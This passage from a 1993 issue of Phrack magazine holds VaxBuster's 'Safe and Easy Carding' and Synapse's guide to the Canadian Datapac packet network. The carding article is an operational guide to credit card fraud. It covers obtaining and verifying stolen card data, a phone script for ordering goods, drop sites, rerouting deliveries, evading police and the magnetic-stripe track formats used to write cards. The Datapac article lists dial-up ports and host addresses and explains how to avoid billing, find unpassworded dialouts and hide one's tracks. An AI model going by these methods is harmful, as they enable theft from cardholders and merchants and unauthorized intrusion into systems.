7. Conference News Part II by Various Sources 35K
8. Conference News Part III by Various Sources 50K
9. Intro to Packet Radio by Larry Kollar 16K
10. The Moeller Papers 30K
11. Sara Gordon v. Kohntark Part I 12K
12. Sara Gordon v. Kohntark Part II 47K
13. Northern Telecom's FMT-150B/C/D by FyberLyte 16K
14. A Guide to Data General's AOS/VS Part I by Herd Beast 46K
15. A Guide to Data General's AOS/VS Part II by Herd Beast 50K
16. An Interview With Agent Steal by Agent 005 14K
17. Visionary - The Story About Him by Visionary 23K
18. Searching The Dialog Information Service by Al Capone 48K
19. Northern Telecom's SL-1 by Iceman 30K
20. Safe and Easy Carding by VaxBuster 18K
21. Datapac by Synapse 36K
22. An Introduction to the Decserver 200 By Opticon 16K
23. LOD Communications BBS Archive Information 29K
24. MOD Family Portrait 35K
25. Gail Takes A Break 49K
26. International Scenes by Various Sources 25K
27. Phrack World News by Datastream Cowboy 22K

Total: 882K

People who don't get the picture:

"Clipper products may not be usable around the world."
(NIST Advisory Board, August, 1993)

"Coin stations not served by the TSPS/TOPS ACTS system are subject to considerable fraud and operating expense."
(TE&M, p. 58, September 1, 1993)

" 'Our basic objective is to detect toll-fraud and prevent customers from suffering large losses,' said AT&T's (Karen) Pepe. 'We're just trying to stay ahead of the curve.'"
(Telephony, p. 13, August 30, 1993)

People who get the picture:

"I don't like things that suck."
(Butthead, to Beavis, Every Day, 1993)

==Phrack Magazine==

Volume Four, Issue Forty-Four, File 20 of 27

[** NOTE: The following file is presented for informational and entertainment purposes only. Phrack Magazine takes NO responsibility for anyone who attempts the actions described within. **]

```
****************************************************************************

SSSSS AAAAA FFFFF EEEEE     AAAAA N    N DDDD      EEEEE AAAAA SSSSS Y   Y
S     A   A F     E         A   A NN   N D   D     E     A   A S       Y Y
SSSSS AAAAA FFF   EEE       AAAAA N N  N D   D     EEEEE AAAAA SSSSS   Y
    S A   A F     E         A   A N  N N D   D     E     A   A     S   Y
SSSSS A   A F     EEEEE     A   A N    N DDDD      EEEEE A   A SSSSS   Y

 CCCCCCCC  AAAAAAAA  RRRRRRRR  DDDDDDD   IIIIIII  NN      NN  GGGGGGGG
 CC        AA    AA  RR    RR  DD    DD     II     NNNN    NN  GG
 CC        AA    AA  RR   RR   DD    DD     II     NN  N   NN  GG
 CC        AAAAAAAA  RRRRRR    DD    DD     II     NN   N NN  GG  GGGG
 CC        AA    AA  RR   RR   DD    DD     II     NN    NNN  GG    GG
 CCCCCCCC  AA    AA  RR    RR  DDDDDDD   IIIIIII  NN      NN  GGGGGGGG
```

BY

VaxBuster

This file is ONLY to be published in Phrack, and has not and will not be released, or published in any other magazine.

And a disclaimer: I do not engage in, or condone ANY illegal activity, including credit card fraud, and this article should be used for INFORMATIONAL PURPOSES ONLY. Those wishing to engage in unlawful activities should be warned that there are severe penalties that exist that could render the remainder of your life useless.

In the past few years, I have had a ton of people come up and ask, "I want to card something, but I'm afraid I'll get caught because I don't really know what I'm doing, can u give me tips?" This article is designed for those people, people who already have carded and are looking for better/easier ways to do it. One point you'll see me address VERY strongly in this article is safety. I don't want to see any of my friends end up in jail. See, like any unlawful activity, you are going to have certain risks, and this article is designed to ELIMINATE those risks, or narrow them down tremendously. I'm going to take you step by step through the ENTIRE process from the time you pick up the phone until the time you are safely at home reading the manual to your new toy.

Stage One - Getting the credit card information

Getting the information is probably going to be the easiest of all the steps involved here. You could go trashing at your local restaurant, retail store, or bank. You could open up Federal Express boxes and find them there. You could hack into an establishment and get them from there.

It doesn't really matter HOW you get it, but you want to make sure you get the person's full name, their complete credit card number, their expiration, and hopefully an address. In the event that you found the credit card number locally and just have the name, check your local White Pages for their address or use a service like Compuserve to pull up their address. You'll probably find that the address closest to the store is the right one. Also, if you can get a hold of the issuing bank, this will help.

Stage Two - Verifying the credit card information

There are several ways you can do this. And remember when you are doing this that it would be VERY helpful to get the available line of credit.

1> If you have the issuing bank, call the bank and ask for their AUTOMATED CREDIT SERVICE. They ALL have them. Its an 800 number and it’s printed on the back of the card. Basically, this service is set up so that credit card holders can check their available balance, available credit, etc. Usually, they have SOME kind of security that prevents the normal person from walking up and typing in someone else’s number. This security is lame. You either have to know the last 4 digits of their social security number or their zip code. 99 times out of 100, you’ll find that you’ll need their zip code though.

2> So you don’t have the issuing bank? Just use a credit card verifier with a merchant number. Don’t place a HUGE purchase, it can be any amount, so make it small, like say $8.31 or something.

3> Use a 800 porn service that accepts credit cards.

4> Use a credit bureau like CBI, TRW, or InfoAM. These services are very nice because you can easily check their available credit line. It also has other information that could be useful.

Remember, when you are doing this, don’t make the calls from your house, and if it’s impossible to do otherwise, go through a divertor and a code. Put a couple of levels of protection between YOU and them. This will cut down on any tracks leading back to you.

Stage Three - Finding the company

You are looking for a relatively small company - one that has what you need in stock, but not one that needs operators to answer calls. Most places (even retail stores like Radio Shack) will ship out to anyone any place in the US. Just tell them you are handicap, or can’t get around very well, and they will be more than happy to help. You want to find a place that has Federal Express. And of course, you’re looking for one that accepts the type of card that you have. Incidentally, for those who are VERY new at this :

If first digit of card is a:

3	American Express	(15 digits)
4	Visa	(13 or 16 digits)
5	Mastercard	(16 digits)
6	Discover	(16 digits)

Stage Four - Placing the call

Ok, before we go any further, make sure you have a call back number. I use a VMB that is in the local area that I’m supposedly calling from. You should almost always be calling for a business, because companies treat businesses better than your standard customer. Tell them you need to have the products the VERY next day, and if they can’t have it to you by then, tell them you’ll find another company (Hell, who wants to wait? :)) When you call them, just relax, and pretend like your just placing an order for yourself, nothing is out of the ordinary, but you just need to start that special project in the morning. Make sure you have all the information in front of you. Call during business hours, not on Friday, Saturday, or Sunday. Here’s a transcript of one of my calls:

"Hello XXX, this is Mark can I help you?" (always get their name)

"Yes, My name is Joe and I’m calling from XXX, I’d like to place an order."

"Ok sir, I’d more than happy to help you, let me get some info from you first. Ok. Can I have your name?"

"Joseph XXX"

"Your address, Joe?"

"XXXX XXXX lane, and thats in XXXXXXX XX, the zip there is XXXXX"

"Ok, and a number where we can reach you if there is any problems?"

"XXX-XXX-XXXX"

"Ok, what would you like to order?"

"I need four of those laser jet printers, I believe I spoke with someone on Friday about them, and the part number is XXXXX-XX. Also, I had a question on those printers too, what type of warranty do they carry?" (Always ask about warranty!)

"Well sir, these particular models have one year parts and labor warranty. You can buy an additional 5 year warranty for only $49 a piece too. We have an unconditional guarantee of 90 days."

"Ok, I'll take the 5 year warranty on all of them then."

"Do you need any toner cartridges, or printer paper?"

"No, all I need are the printers."

"Ok, how would you like these shipped?"

"You have Federal Express, right?"

"Yeah."

"Ok, Ship them PRIORITY overnight then."

"Ok, and how are you paying for your order?"

"With our corporate XXXXXX card."

"Ok, can I have your account number?"

"Sure its XXXX-XXXX-XXXX-XXXX"

"Ok, and the Billing information is the same as your ship to address ?"

"Thats right."

"Ok, then this package will go out today, and you'll have the printers by tomorrow morning."

"Ok, and can you do me a favor?"

"Sure."

"Whenever your shipping department ships the package, get the Federal Express Tracking Number for me, and leave it on my Voice Mail System?"

"Sure, I'll do that personally later on tonight."

"Ok. Thank you very much."

"Thank YOU sir."

Ok - a few things I want to mention. First, try to determine what type of credit card authorization they have. If its retail store, they probably just have ZION terminals, just the standard type or swipe style. These don't check the address, or anything, just to make sure the card is valid and has enough credit left. The other type check all the info, including the name and address. Its very important that you are SHIPPING to the BILLING address, because if you change the ship to, they may have a tendency to get a tad suspicious. Also, the reason you could use that you need the Fedex Tracking Number is for your Mail room. Use your imagination, but keep your story the same, don’t adlib too much, cause you may fuck up, but stick to the above format, it works very well. Always try to be as pleasant as possible, because in the event you couldn’t check the credit limit, you may have to give them another card.

Stage 5 - Finding a drop site

This is one of the harder things to do. If the billing address of the card is local to you, you may just want to go their house to pick up the package. If not, find an apartment building close (but not too close) to where you live. Or find a house that has a for sale sign in the front yard. Or if you know some school buddy of yours that is away for vacation use his house (In that event, make SURE he has NO idea your doing this) Whatever the case may be, just find a place that is relatively secluded from the street, where there are places for you to park inconspicuously. Apartment buildings work EXTREMELY well.

Stage 6 - Rerouting the package

This is a little trick one of my good friends showed me. It works extremely well. Call up Federal Express with your airbill number. The number is 800-238-5355. Tell them that you are not going to be in town that day to sign for your package that you will be at another location, and ask them if they could please send the package to a new address. They may say that it will take an additional day to do that, depending on how far away it is. INSIST that it arrives the next day, tell them its extremely important, and don’t take any shit from them, ask for their supervisor if they gave you any problems. Their commitment is overnight. By the way, call Federal Express AS SOON AS you know they physically have the package, this way you give them as much time as they need to reroute. Obviously your sending the package to your drop site that you found.

Stage 7 - Picking up the package

This is by far the most DANGEROUS part of it. If you are going to get caught, this is where its going to happen. DON’T have a school buddy pick it up for you. Instant doom. DON’T pay someone to do it for you, lord knows they will sell you out in a second. Not to mention, you’re probably brighter than the average eggplant, so you may be able to talk your way out. "A guy on the street paid me this $20 bill to do it, I said what the fuck" PLEASE USE EXTREME CAUTION WHEN DOING THIS.

OK. Call Federal Express, and make sure the package will be arriving that day, and that everything is on schedule. Ask them what the route number is, an estimate of when it will be there, and their commitment time for that particular zip code. Then, go there earlier than you need to be, and check out the place, look around for anyone who seems abnormal, look for escape routes, exits. Look around, get a feel for where you are, and try to ration out why you might just be standing there or why you would have needed to pick up the package. Remember, if you used all the precautions I’ve talked about, you should be in perfect shape. Just relax, be cool, and everything will work out.

Walk around for a little bit, and find out the possible directions the Federal Express Van will be coming from. Walk in front of the house just when he arrives. Pretend as though your just on your way home or just on your way out the door. Sign for it, and you’re done.

Ok, you say, I’m the nervous type, and I don’t want the guy giving my description to the police, FBI, etc. (As though they will remember 1 out of the hundreds of deliveries a day) Call up Federal Express and ask for a signature release. This gives Fedex the right to leave the package at your front door, and this removes their responsibility. OR, leave a note with your signature (not printed) on the door, mailbox, etc. Remember though that the guy may come home (or look out his window) and see the package, or you signing it.

Remember there is nothing saying that you have to be there when the package arrives. You can get a signature release or leave a note. Make sure you are there as soon as possible AFTER they leave the package. I actually prefer to be there, because when I just let it go, and check back later, it is almost NEVER there. Either a> someone stole it b> a neighbor picked it up and put it in their house for them c> the owner is actually home and got the package (which is REALLY bogus, cause it's on their card!)

I have ALWAYS used an apartment building. I have ALWAYS been there to pick the package up. I have never been busted. See, if you understand how the system works, you know that there is NO way that anyone knows that it is an illegal purchase. If you look at it on a time line :

```
  <----2:00pm-------2:05pm------8:00pm-----10am--->
       verify       call        reroute    pickup
```

Now, if there is a problem, it will probably be either a> not enough credit left on the card (which is nothing, they will leave a message on your vmb) b> they called directory assistance and actually called that number or c> VISA/MC/AMEX/DISC called the customer to verify the purchase because it was larger than usual.

So obviously, if they got in touch with the card holder, or visa/etc called the card holder, they AREN'T going to ship the package - meaning you aren't going to show up anyways. Of course you never use a drop site more than once, you never use a company more than once, and you never use a card more than once.

Once you get your package, KEEP YOUR MOUTH SHUT. Don't jump on IRC, and say, "Hey Cameron, I just carded a new Amiga 4000." And if you do eventually tell someone that you carded it, NEVER USE ANY SPECIFICS, no information about the company, the drop house, the name on the card, NOTHING. If you follow these instructions, you can guarantee you will have absolutely no problems, I have been doing this for quite some time, and have NEVER been bothered by any law enforcement concerning this. I have never found anyone who was careful that got busted. The people who have gotten busted for carding have either bragged about it, or let someone know before hand, or have been set up.

I have tried to cover all bases, but I'm positive I've missed a few so if anyone has questions, let me know. I am always open to helping people and can be found on the IRC, in either #hack or one of the better #hack alternatives.

In addition to carding by phone, there is another possibility, that is writing credit cards with a magnetic stripe writer. A certain group did this for EIGHT years, before getting caught. This is worth a whole article to itself, but I'll just go over some guidelines.

Track I is 210 bpi. Track II is 75 bpi.

The next chart shows the Magnetic Stripe Data Format (Track I)

Field #	Length	Name of Field
1	1	Start Sentinel (STX)
2	1	Format Code
3	13/16	Primary Account Number
4	1	Separator (^) HEX 5E
5	2-26	Card Holder Name
6	1	Separator (^) HEX 5E
7	4	Card Expiration in format MMYY
8	3	Service Code (?) 000 WORKS.
9	0/5	Pin Verification Field
10		Discretionary Data Depends on 3, 5, 9
11	11	Visa Reserved Always last 11 positions
12	1	End Sentinel (ETX)

13	1	LRC

Maximum Record Length is 79 Characters

The next chart shows the Magnetic Stripe Data Format (Track II)

Field #	Length	Name of Field
1	1	Start Sentinel (STX)
2	13/16	Primary Account Number
3	1	Separator (=) HEX 3D
4	4	Card Expiration Date in format MMYY
5	3	Service Code (?) 000 works.
6	0/5	Pin Verification Field
7		Discretionary Data Depends on 2, 6
8	1	End Sentinel (ETX)
9	1	LRC

"The LRC is calculated by performing a BITWISE XOR (Exclusive OR) on all ASCII values of the characters in the Inquiry - EXCLUDING the <STX> but INCLUDING the <ETX>."

<STX> is HEX 02.
<ETX> is HEX 03.

By the way, for my last article, "TTY SPOOFING", check Phrack 41 File 8.

***** MANY thanks go out to my friends, of whom I won't mention because of the delicacy of this topic. I appreciate them sharing their knowledge with me, and I feel I'm kind of returning the favor by writing this article. Thanks also go out to the Phrack Staff, both past and present for putting out an excellent magazine, and continuing to distribute information to the computer underground.

***** Happy Hacking and Safe Carding!
VaxBuster '93

==Phrack Magazine==

Volume Four, Issue Forty-Four, File 21 of 27

```
*****************************************************************************

            ************************************************
           /                    DataPac                     \
          /                   Synapse 403                    \
         /                                                    \
        ********************************************************
```

All of us I am sure have read penultimate files on the workings of Tymnet or in some cases Sprintnet. These are staples in a hacker's diet. In fact any second rate "underground" BBS has complete sections on BT North America and the nets available therein. However one such net you will most likely see very little on, is Datapac.

Datapac was originated in the late seventies by Telecom Canada, a large partnership of Telcos and businesses interested in high speed data transfers between Business & Government systems which would be hassle free and cheaper in the long run. (The birth of most PSN's really.)

The significance of Datapac however is that it has changed very little by way of security in the past ten years, although it has extended access to most of the globe in one fashion or another. Datapac is not only a hacker's utopia due to lax (in some cases non-existant) security; it is also, for the most part, safe ground (this term is, of course, used somewhat lightly) for beginners and the unsure to try their luck/skill at the game of packet switched network hacking. The Datapac net is most important to Canadian Hackers who have direct access to it, and therefore (if you're lucky) direct access to the world.

A list of dial-up ports in Canada follows.

CITY (PROVINCE)	DIAL NUMBER (SPEED 2400)	DIAL NUMBER (SPEED 9600)
(TOLL FREE-CANADA)		800-565-8805
Abbotsford (BC)		604-855-3632
Banff-Canmore(ALTA)		403-762-5603
Barrie (ONT)	705-721-2411	705-726-0168
Bathurst (NB)	506-548-8658	506-548-9837
Belleville (ONT)		613-969-1161
Brampton (ONT)	416-796-3808	
Brantford (ONT)	519-758-0058	
Brockville (ONT)	613-345-7550	613-498-0676
Calgary (ALTA)	403-263-5021	403-265-4081
Campbell River (BC)	604-287-9166	604-286-9800
Chatham (ONT)	519-351-8950	
Chicoutimi - Jonqui (QUE)	418-543-8013	418-543-8512
Chilliwack (BC)		604-792-5218
Clarkson (ONT)	416-823-6010	
Cornerbrook (NFLD)	709-634-9060	709-634-8406
Cornwall (ONT)		613-936-9145
Courtenay/Comox (BC)		604-334-9846
Dawson Creek (BC)		604-782-8549
Drayton Valley		403-542-2300
Drummondville (QUE)		819-478-1741
Duncan (BC)		604-746-8241
Edmonton (ALTA)	403-421-1428	403-429-2492
Edmundston (NB)		506-735-8809
Fort McMurray (ALTA)		403-790-2300
Fort St John (BC)		604-787-8402
Fredericton (NB)	506-459-2792	506-453-0754
Granby (QUE)		514-375-9666
Grand Centre (ALTA)		403-594-2636
Grande Prairie (ALTA)		403-532-4533
Guelph (ONT)	519-763-3610	519-763-1280
Halifax (NS)	902-453-9100	902-453-2666

Hamilton (ONT)	416-523-6948	416-523-6855
Kingston (ONT)	613-546-0039	613-546-5764
Kitchener (ONT)	519-741-4000	519-741-1499
Lethbridge (ALTA)		403-320-6200
Lindsay (ONT)		705-328-2941
Lloydminster (ALTA)		403-875-8069
London (ONT)	519-432-2710	519-432-7101
Medicine Hat (ALTA)		403-528-3445
Moncton (NB)	506-856-5196	506-383-7780
Montreal (QUE)	514-861-4750	514-845-6014
Nanaimo (BC)		604-741-1552
Nelson (BC)		604-352-9258
New Glasgow (NS)	902-755-4594	
North Bay (Ont)		705-495-4720
Oshawa (ONT)		416-404-0596
Ottawa (ONT)	613-567-4552	613-563-7658
Peace River (ALTA)		403-624-1165
Penticton (BC)		604-490-0251
Port Alberni (BC)		604-723-6178
Port Hardy (BC)		604-949-8973
Powell River (BC)		604-485-9646
Prince George (BC)	604-561-9178	604-564-8953
Prince Rupert (BC)		604-627-8937
Quebec City (QUE)	418-647-2421	418-648-2611
Quesnel (BC)		604-992-3854
Red Deer (ALTA)		403-341-4033
Regina (SASK)	306-525-8760	306-347-9073
Rimouski (QUE)	418-725-3620	
Sault St-Marie (ONT)		705-942-7030
Sarnia (ONT)	519-339-9144	519-337-4727
Saskatoon (SASK)	306-934-9100	306-665-1046
Sherbrooke (QUE)	819-564-6417	819-829-1146
Smithers (BC)		604-847-9173
St Catherines (ONT)	416-687-3340	416-688-3433
St. Jerome		514-565-6552
St John’s (NFLD)	709-739-1499	709-739-6931
St Johns (NB)	506-633-1021	506-652-1482
Ste Hyacinthe (QUE)		514-774-0720
Sydney (NS)	902-562-8224	
Terrace (BC)		604-638-8596
Toronto (ONT)	416-979-1232	416-979-1251
Trois Rivieres (QUE)	819-373-9983	819-373-9070
Truro (NS)	902-893-5434	
Valleyfield (QUE)		514-377-2114
Vancouver (BC)	604-662-8747	604-662-7865
Victoria (BC)	604-380-3874	604-360-2673
Whistler (BC)		604-932-8927
William Lake (BC)		604-398-8632
Windsor (ONT)	519-973-1086	519-973-4633
Winnipeg (MAN)	204-947-6797	204-453-6099

Connecting and Addressing

Once connected you will need to type one or three periods and a carriage return, this will produce a numerical format denoting your port address and node,

```
                           XXXX XXXX
    PORT Address-----------^    ^
    NODE number-----------------^
```

Once this is established the network simply sits and waits for you to spit commands at it, in other words an address to whence you would like to travel. Failing this, idle time will have you disconnected, the time varies but averages around 1 or 2 minutes.

The formatting of a Datapac address is really quite simple and is most often 8 digits long (sometimes ten but we’ll get to that later) The first four (the prefix) specify the current location in Canada, for instance large cities will have several, just as they will have more than one prefix in the phone directories. The last four digits are arbitrary, and correspond to the host number.

An address with ten numbers as opposed to eight (ie: xxxx xxxx xx) is utilizing a subaddress. Quite often these machines will be independent of a cluster of nodes and there only to fulfill one task. Also they may simply be segregated machines for no apparent reason at all (except to make scans a bitch :>). Quite often you will find that subsystems work as a PAD or PAC allowing you re-enter the Dpac from a host level, therefore allowing you to make use of the company's inherent NUI and connect to other places on the Dpac that disallow collect calls.

Connecting to Machines on the Dpac

Datapac, like most networks, uses NUIs (Network User ID) which keep accounting for all billed connections. HOWEVER a great deal of machines on the Dpac allow for collect calls from within the network. Yet if you have a valid NUI you may connect to ANY machine hooked up to the Dpac (except those which are part of a closed user group). I have found that it is best to PAD hop and avoid the whole NUI problem entirely. The following a list of connection messages and their explanations for inter-network calls.

MESSAGE	EXPLANATION
Call connected to: XXXXXXXX	A virtual circuit has been established between an originating DTE and a remote (receiving) DTE.
Hunted	The remote logical channel is part of a hunt group.
Backed Up	The call attempt to the remote DTE has failed. The network has re-directed the call to another predetermined DTE that has been optioned as backup.
I	The call has been placed to an international address.
P	Priority service. Packet size: 128.
N	Normal service. Packet size: 128 or 256.
DNA	Data Network Address of the originating DTE.
LCN	Logical Channel Number of the recipient DTE.
NUI	The call will be billed to the 6 to 8 character Network User Identifier.
CUG	The recipient DTE is part of a closed user group.
Reverse Charge	The recipient DTE has accepted the charge associated With the established call.

These reactions apply to any calls made that are not "international" I will list the connect reactions for international calls in the following section.

DATAPAC INTERNATIONAL ACCESS PROCEDURES

Datapac International provides outgoing and incoming access to 6 U.S. based Networks and to over 100 packet-switched networks around the world. To successfully complete such calls, Datapac has implemented the International CCITT X.75 procedures and X.121 International numbering plan. Thus, the Datapac user originating an international call must use the following format:

```
                                        (1)  (DNIC)  (FOREIGN ADDRESS)
                                         :     :           :
      One defines the Datapac International.:  :           :
      Prefix.                                  :           :
                                               :           :
      Packet networks are identified by a ........:        :
      four digit number called a DNIC                      :
      (data network identification code)                   :
                                                           :
      The foreign national address is .....................:
      expressed as an eight to ten digit
      address.
```

Here is a list of useful DNIC's if you get the urge to scan "other" networks.

Sprintnet	3110
Bell South	3143
Centel	3148
BT Tymnet	3106
Accunet	3134
NYNEX	3144
U.S. West	3147
ADP Autonet	3126
Fedex	3138
Express	3139

If you are scanning (which I assume you might be) you will encounter a great many cryptic messages. So many, in fact, I am sure you will loose count. Some are worth mentioning some are not but here a few you might encounter.

CALL CLEARED -- TEMPORARY NETWORK PROBLEM (XXY)	A network problem within Datapac or a foreign network prevents either the requested call from being established or the established call from being continued. Try again later.
CALL CLEARED -- ADDRESS NOT IN SERVICE (XXY)	Either the foreign network requested is not accessible from Datapac, or the foreign network address specified identifies a non-existent destination, i.e., the address is not yet assigned or no longer assigned. Verify with destination that the foreign network is accessible from Datapac and that the foreign network address is assigned.
CALL CLEARED -- ACCESS BARRED (XXY)	The calling terminal is not permitted to establish an international call to the called destination address because of a closed user group violation. Verify network address with destination.
CALL CLEARED -- COLLECT CALL REFUSED (XXY)	Either the foreign network or the destination address is not willing to accept the collect calls. Verify the call establishment procedures with destination.
CALL CLEARED -- INCOMPATIBLE CALL OPTIONS (XXY)	The Call Request is considered invalid by the foreign network mainly because of the incorrect number of digits in the foreign network address. Verify foreign network address with destination.
CALL CLEARED -- DESTINATION NOT RESPONDING (XXY)	The destination is out of order, possibly because the destination's network access link is inoperative. Try again later and verify with destination.
CALL CLEARED --	The destination address called is fully

DESTINATION BUSY (XXY)	engaged (no logical channels available) and cannot accept another call at this time. Try again later.
CALL CLEARED -- REMOTE PROCEDURE ERROR (XXY)	This message indicates a protocol error at the remote DTE interface. Check with remote DTE (destination).

Outdials on Dpac

On most Dpac dialups there are also dialouts, however to use them you must either be calling from a Host on the Dpac or have a public access NUI. The latter tends to be more difficult to get than the former. A list of addresses for dialouts is available at 9210 0086 (the Datapac help center), however it is OLD and therefore somewhat inaccurate so I have not included it. Also you will find that a majority of the dialouts are of the low baud rate variety, however there are a few 19.2 dialouts as well.

While dialouts are quite often a pain in the ass to access, all hope is not lost. Many of the machines you encounter on Dpac are LATservers, Gandalfs, System/370s, etc. with dialouts. I have found more than a few that are COMPLETELY un-passworded with Global access dialouts.

Beyond all this, Dpac can also be very useful for covering your tracks while attempting to perform digital voyeurism on other networks like Sprintnet, Tymnet, etc. It may mean that you have less leeway but it still makes the target site go through a bit more difficulty in tracking you down.

In closing this, I am leaving a scan through which you can get familiar with Dpac. It is far from complete as a guide to Datapac, but lists many of the systems I have found that accept collect calls.
I will first list prefixes and the areas they represent.

If you are looking a decent Datapac Scanner you can get one at 403-283-5519, while this is not a public system, it will allow guest users to log on and transfer a scanner made for Procomm for Windows

Partial Datapac Prefix List

Calgary (ALTA)	6330	Clarkson (ONT)	9190
Edmonton (ALTA)	5870	Halifax (NS)	7610
Hamilton (ONT)	3850	Kitchener (ONT)	3340
London (ONT)	3560	Montreal (QUE)	8270
Ottawa (ONT)	8570	Quebec City (QUE)	4840
Regina (SASK)	7210	St-John's (NB)	7460
Saskatoon (SASK)	7110	St. John (NFLD)	7810
Toronto (ONT)	9160	Vancouver (BC)	6710
Windsor (ONT)	2950	Winnipeg (MAN)	6920

Scan List

<] NUA [>	<] Service Name [> ($ = Refused Collect Connection)
20100071	$ VM/SP
20200115	VAX/VMS
20200116	VAX/VMS
20200156	Diand Information System
20200214	$ UNIX (gtagmhs2)
20200230	METS Dial-In Server Enter your login name:
2020024098	Control Port on Node Ottawa 6505 PAD
20200286	$ VAX/VMS
2020032099	MPX.25102: PASSWORD
20200321	SunOS Rel 4.1.3 (X25)

```
20200322             SunOS          ""
20200330             INETCO    Magicbank
20200342             ::
20200497             VAX/VMS
202005421          $ VAX/VMS
20200548             SunOS     Rel 4.1.3 (TMS470)
20200582           $ VAX/VMS   Production System
20200586             ULTRIX    v4.2 (fcsa)
20200600           $ User Id/Usager:
20200602           $ UNIX      (gtagmhs)
20400011           $ VM/SP     BNRCEN
20400089             XMUX      node: 320QUEEN
20400157             HP3000    IDRC/CDRI/CIID:
20400177             QL * IDENTIFIEZ-VOUS SVP * PLEASE SIGN ON:
2040017777           GST Questions & Answers by Revenue Canada
20400180             XMUX      node: STORE305
20400205             VAX/VMS
20400210             VMS/VAX
20400249             UNIX
20400268           $ VAX/VMS
20400407           $ VAX/VMS
20400459             MHP1201I TERMINAL CONNECTED TO PACKET/74
20400470             ISM/TSO   READY TO HOST
20400478             HP3000
20400484             VAX/VMS
20400529           $ XMUX      node: SMITHFLD
20400642             CDCNET
20400683             PACX      (user interface)
20400712             UNIVERSITY OF OTTAWA
20400860             VAX/VMS
20401313             Network
20401375             DATAPAC: DOT SYSTEM READY
20500011             VM/SP     Canada Institute for Scientific & Tech Info
20500036             enter v for vtam (roscoe or tso) d for dobis
20500047           $ #
20600029             SCO       domus1   SCO v/386
20600222             Please enter password
20700038           $ VAX/VMS
20700040             Enter profile ID:
20700053             NODE 57206798 (looks like an iNet2000?)
20700122             XMUX      node: OTTAWA
20700157             UNIX      ""
20700187           $ VAX/VMS   Canada Centre for Remote Sensing Satellite Op.
20700194             iNet2000
20700195             iNet2000
20700201           $ HP3000 Supply & Services Canada
20700326             DATAPAC : NBA SYSTEM READY
20700416             Operator Code:
20700439             UNIX      (bcm_kernel)
20700471             ISM       (7/E/1) ISM Systems Corp/Ottawa Processing
20700538             XMUX      node: TMIXMUX0
20700539             XMUX      node: TMIXMUX1
20700540             XMUX      node: TMIXMUX2
20700541             UNIX
20700561
20700591             Canadian Intl. Development Agency's BBS(CIDA)
20700596             UNIX      Zoomit
20700603             VAX/VMS
20700611           $ DIAND INFO SYSTEM. ENTER SERVICE NAME
20700615             SCO OD    Statsys1
20700616           $ UNIX      gateway!login:
20700617             UNIX      Zoomit
20700652             UNIX
20700665           $ NC-PASS
20700666           $ NC-PASS
20700718             OBS Online Services (WYLBUR)
20700728             VAX/VMS
20700740             UNIX
20700741             VAX/VMS
20800015             VAX/VMS
```

```
20800033             VAX/VMS   v5.5-1
20800043           $ DIAND Info System - INAC. Sioux Lookout.
20800095             TSO
20800187             VAX/VMS   FCSA System VAX/VMS 4.2
21200014             CDCNET
21200030           $ PACX
21300047             Please Enter Password
21600001             ::
21700054             VAX/VMS
21700073             ::
22100034             HP3000    Burgess Wholesale Foods  MPE/XL -Kingston
22100138             INT NET  Enter SecurID Passcode:
22100188             VAX/VMS
22400041             XMUX      node: BELLEVIL
22600049             SERVICE ID=
22700017             VAX/VMS
23400121           $ UNIX      orillia x25
23600035             VAX/VMS   Micro VAX 3100 / VMS 5.5
23800176             VAX/VMS   v5.5-1
23800236             XMUX      node: OTTAWA
23800343             node 57216d65 (looks like an iNet2000)
23800451           $ VAX/VMS   Certification System
23800491             UNIX      X.29 Terminal Service
23800505             ONLINE SERVICES(WYLBUR) ENTER USER ID-
23800507                          ""       ""
23800594             ENTER FUNCTION:(Fisheries & Oceans Canada)
23800599             XMUX      node: MUX8
23800684             VAX/VMS   INFOMART ONLINE
23800685             VAX/VMS   INFOMART ONLINE
23800700             SCO OD    vmabs   SCO Open Desktop
24300084             VAX/VMS   v5.5
24300149             XMUX      node: SAULTE
24400061             SERVICE ID=
24400096             DATAPAC : SUD SYSTEM READY
24400146             HP3000    PROD.MULTICAR.SUDBURY  MPE XL
24700021             SERVICE ID=
24900011             VAX/VMS   INFOMART ONLINE
24900024             ISM       (7/E/1) ISM Systems Corp. Ottawa Proc. Centre
24900040             VAX/VMS
24900057             ISM
24900099             PACX      Gandalf Access Server
25200014             TAL TORONTO
25200017             VM/SP
25200054             XMUX      node: TORONTO
25200214             ISM       GUARDIAN INSURANCE - ENTER SYSTEM
25200258             ::
25700031             >
25700057             VAX/VMS
26100091             VAX/VMS
28300080             VAX/VMS
28300083             XMUX      node: XMUX1
28300092             INETCO
28300154             VAX/VMS
28700014             VAX/VMS
28700029             SERVICE ID=
28700030             LEVITT SAFETY / THUNDER BAY
29200013             VAX/VMS
29300045           $ VAX/VMS
29400052             Compuserve
29400172             VAX/VMS
29400176             Enter System Id:
29400254             XMUX      node: WINDSOR
29400263             ISM       CDNC
29400264             ISM       CDNC
29500009           $ Datapac Public OD
29500071           $        ""
29500072           $        ""
29500073           $        ""
29500074           $        ""
29500075           $        ""
```

```
29500092             ::
29500137             ::
29500139             PRIMOS    23.3.0  INTENG
29500166           $ Datapac Public OD
29500167           $       ""
29500168           $       ""
29500900           $       ""
29500901           $       ""
29600018             PRIMOS    v23     FAXON
29600136             KMUX      GANDALF KMUX PWORD>
2960075101           INETCO    Polystar E.C.U
30500153             AXA Canada Data Center(PACKET/74)
31500065             SCO OD    isgsys1   SCO Open Desktop 2.0
31500076           $ PACX      UWO Computing & Communications Services
315000767            XMUX      node: CCSMUX1
31500083             XMUX      node: LONDON
31500225             SCO OD    isg2      SCO Open Desktop 2.0
31500490             XMUX      node: LONDON
31500528             XMUX      node: SARNIA
31500607             PRIMOS    23.3.0.R20   WPPENG
31500726             UNIX      ADC T-SENTRY
31500787             XMUX      node: BUNTINRI
31500838             MHP201A DTPAC06L VER 7.0.3 APPLICATION:
32400014             XMUX      node: LONDON
32400016             ISP-LOGON-CHRISTIE
32400067           $ VM/SP
32400107             PRIMOS    22.1.2.R38   HUNT
32400122               "           ""
32500023             XMUX      node: LONDON1
32500053             XMUX      node: 074
32500099             XMUX      node: WIND
32500149             enter passcode:
32500202             VAX/VMS  W.R.C.S.S.B
32500225             VAX/VMS   London system A - Boot Node - MicroVMS v4.7
32500239             VAX/VMS
32500274             VAX/VMS
32500345           $ MHP1201I TERMINAL CONNECTED TO PACKET/74
32500367             XMUX      node: WINDSOR
32500369             UNIX
32500383             XMUX      node: STERLING
325003833            BOSX/DPX  (RISC?) Sterling Marking Products Inc.
32500386             5251 Controller emulator - v.191 Password:
32500396             VAX/VMS   MicroVMS 5.3-1
